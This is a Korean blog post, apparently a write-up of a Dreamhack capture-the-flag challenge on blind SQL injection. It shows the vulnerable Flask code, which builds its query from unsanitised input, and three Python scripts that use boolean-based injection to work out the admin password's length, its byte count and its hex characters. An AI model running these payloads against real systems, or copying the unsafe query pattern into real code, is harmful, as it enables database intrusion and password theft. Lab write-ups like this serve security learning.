웹해킹

blind sql injection advanced

pororo 2026. 10. 24. 02:39

오늘을 dreamhack에 blind sql을 풀어보도록 하자

import os
from flask import Flask, request, render_template_string
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'user_db')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM users WHERE uid='{{uid}}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
{% if nrows == 1%}
    <pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''

@app.route('/', methods=['GET'])
def index():
    uid = request.args.get('uid', '')
    nrows = 0

    if uid:
        cur = mysql.connection.cursor()
        nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")

    return render_template_string(template, uid=uid, nrows=nrows)


if __name__ == '__main__':
    app.run(host='0.0.0.0')

일단 이것이 전체 코드 이다

 


여기서 우리가 알수 있는것은 uid라는 칸에 값을 넣으면 위에 넣은 값이 나오고 넣은 값이 테이블에 있다면

user "{{uid}}" exists. 이렇게 입력한 uid하고 exists라고 나오게 된다 그러면 우리가 여기서 찾아야 하는것이 무엇인지 알기 위해

dokerfile을 봐보도록 하자 

 

FROM python:3.10-slim-buster

# ENV
ENV user dreamhack
ENV port 5000

# SET packages
RUN apt-get update -y && apt-get install -y python3-pip python-dev build-essential default-libmysqlclient-dev pkg-config
RUN apt-get install mariadb-common mariadb-server mariadb-client -y

# SET challenges
RUN adduser $user
ADD ./deploy /app
WORKDIR /app
RUN pip install -r requirements.txt
RUN chmod +x run.sh

# DB
RUN /bin/bash -c "/usr/bin/mysqld_safe &" && \
  sleep 5 && \
  mysql -uroot < /app/init.sql
RUN rm /app/init.sql

# RUN
#USER $user
EXPOSE $port

CMD ["./run.sh"]

이런식으로 나와있는데 이걸 이용하여

이런식으로 우리가 현재 보고 있는 환경을 재현 했을때 현재 테이블에 무엇이 있는지 봐보면 존재 하는 uid는 admin,guest,test가 있는것을 알수 있고 그중에 admin에 FLAG가 있는 것을 알수 있다. 또한 users에 FLAG가 있는 부분에 컬럼명이 upw인것을 알수 있다.그러면 이제 부터 진짜 sql을 해보자 

 


일단 우리가 uid 부분에 값을 넣었을때 현재 DB에 있는 값을 조회 하게 된다 

그러면 이것을 이용하여 조건을 넣어주게 되면 우리가 원하는 것들을 알수 있는데 

SELECT *FROM users WHERE uid = '{uid}';가 실행 되게 되는데 여기서 {uid}는 우리가 값을 넣어 줄수 있는데 

그러면 우리가 무차별 대입공격을 하기 위해서는 현재 우리가 찾아야 하는 값이 얼마나 긴지를 알아야 효율적으로 할수 있다. 

그리하여

import requests

URL="http://host3.dreamhack.games:15935/"

i = 0

while(True):
    i+=1
    find = f"admin' AND CHAR_LENGTH(upw)={i}-- "
    response = requests.get(URL, {"uid" : find})

    if "exists." in response.text:
        print(f"문자열 길이 : {i}")
        break

이런식으로 while문을 통해서 admin이면서 CHAR_LENGTH는 조회한 값에 문자열에 갯수를 알려주는 함수 이다 이것을 이용해

문자열에 길이를 알아낸뒤 우리가 찾으려는 flag가 한글과 ASCII코드값을 조회한 것 이기에 문자열에 최소 바이트수인 13부터 

최대인 39byte 까지에 사이중 몇 바이트인지를 알아보자 

import requests

URL="http://host3.dreamhack.games:15935/"

for i in range(13, 40):
    find = f"admin' AND OCTET_LENGTH(upw)={i}-- "
    response = requests.get(URL, {"uid" : find})

    if "exists." in response.text:
        print(f"바이트 수 : {i}")
        break

여기서 OCTET_LENGTH는 문자열을 총 몇바이트인지 나타내는것 이다.

그러면 이걸 이용해서 총 byte수를 구해보면 27byte가 나오게되는데 그러면 우리가 알수 있는것이 1byte는 8bit이고

char형은 1byte이다(한글을 3byte이다) 16진수 한자리는 4bit이므로 16진수 2자리가 하나의 문자를 나타내는것을 알수 있다.

 

import requests

URL = "http://host3.dreamhack.games:15935/"
hex_result = ""

for i in range(1, 55):
    for digit in "0123456789ABCDEF":
        payload = (
            f"admin' AND SUBSTRING(HEX(upw),{i},1)"
            f"='{digit}'-- "
        )

        response = requests.get(
            URL,
            params={"uid": payload},
        )

        if "exists." in response.text:
            hex_result += digit
            print(f"{i}/54: {hex_result}")
            break

print("HEX:", hex_result)
print("비밀번호:", bytes.fromhex(hex_result).decode("utf-8"))

그러면 이런식으로 코드를 짤수 있는데 여기서 SUBSTRING(가져올 문자열, 시작위치, 몇개를 가져올지)형태이고 
16진수로 바꿨을때 들어올수 있는 후보 0~f까지를 하나씩 넣어보면서 조건에 충족 하면 그것을 hex_result에 저장하고 모든 

값을 알았으면 그것을 utf-8로 디코딩 해주게 되면 플래그가 나오게 된다.

'웹해킹' 카테고리의 다른 글

baby-union  (0) 2026.10.25
sql injection bypass WAF Advanced  (0) 2026.10.25
Black-Hacker-Company  (0) 2026.10.20
web-ssrf  (0) 2026.10.19
CSRF  (0) 2026.09.29